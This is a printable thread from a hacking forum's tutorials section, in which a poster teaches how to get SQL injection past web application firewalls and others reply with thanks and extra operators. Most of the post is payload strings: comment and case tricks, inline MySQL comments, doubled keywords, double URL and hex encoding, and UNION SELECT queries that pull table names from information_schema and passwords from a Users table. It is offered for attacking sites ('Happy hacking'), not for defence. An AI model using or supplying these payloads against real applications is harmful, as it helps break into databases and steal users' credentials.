![]() |
|
Web Application Firewall ( WAF ) bypassing - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Tutorials (https://sinister.li/Forum-Tutorials) +--- Thread: Web Application Firewall ( WAF ) bypassing (/Thread-Web-Application-Firewall-WAF-bypassing) |
Web Application Firewall ( WAF ) bypassing - LiXon - 03-18-2013 What is WAF?
A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified. ( Wikipedia ) ![]() How to know if there is a Web Application Firewall?
When you try to enter a command used for SQL Injections ( like "UNION SELECT" command ) you get an 403 Error ( "Forbidden or "Not Acceptable" ). How to bypass WAF?
1. Comments Code: //, -- , /**/ , #, -+ , -- -, ;%002. Case Changing Some WAF's will filter only lowercase attacks so we can easily evade this by case changing: Code: id=1+UnIoN/**/SeLeCT3. Inline Comments: Code: id=1/*!UnIoN*/SeLeCTIf table_name or information_schema are filtered we can add more inline comments. So if a site filters union,where,table_name , table_schema, = , information_schema our injection should be like : Code: id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/
+like+database()–We can use "like" instead of " = " so the above code should bypass the filter. Another way to use inline comments is by crafting a SQL statement using variables : Code: id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -4.Replaced keywords If we have a filter that replaces union select with whitespace, we could bypass that filter : Code: id=1+UNIunionON+SELselectECT+1,2,3--5. Character encoding : Code: id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,3,4,password%252f%252a*/FROM%252f%252a*/Users–+6. Replace characters with their HEX values: We can replace some characters with their HEX (URL-Encoded) Values. Code: id=-1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….Others bypasses: Code: id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+'SeL”ECT’ <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL onlyWatch to this video to understand better the WAF, it really help. For questions or issues reply to this topic or contact me. Happy hacking !
RE: Web Application Firewall ( WAF ) bypassing - The Alchemist - 03-19-2013 Thanks for making such a nice tutorial on this. But, since I'm not very good at WAF bypassing, I'm having a confusion. I didn't understand one thing, /**/ are supposed to be comment tags right? So, as you said, we could use this in the URL : Code: id=1/*!UnIoN*/SeLeCTRE: Web Application Firewall ( WAF ) bypassing - LiXon - 03-19-2013 Code: /*!Take a look here , you'll understand better
RE: Web Application Firewall ( WAF ) bypassing - pratham - 04-29-2013 nice tutorial...
RE: Web Application Firewall ( WAF ) bypassing - LiXon - 09-07-2013 (04-29-2013, 06:29 PM)pratham Wrote: nice tutorial... You're welcome
RE: Web Application Firewall ( WAF ) bypassing - John Carter - 01-29-2014 O. m . G :Thumbs-Up: , It's excellent post for SQLi Beginner . but that's WAF Quotes are Advance :Thumbs-Up: :Thumbs-Up: RE: Web Application Firewall ( WAF ) bypassing - LiXon - 03-15-2014 (12-31-2013, 08:21 PM)davidjohnrace Wrote: That was a wonderful tutorial. Hmm.. nope, but I think you can give it a try. RE: Web Application Firewall ( WAF ) bypassing - RogueCoder - 03-15-2014 Nice tutorial! Good to see some more manual tutorials and not just how to click a button One question: Which WAF's have you bypassed with these payloads?In addition to the LIKE command try <> > < and BETWEEN Code: 1<>2
1>0
2<1
2 BETWEEN 1 AND 3 |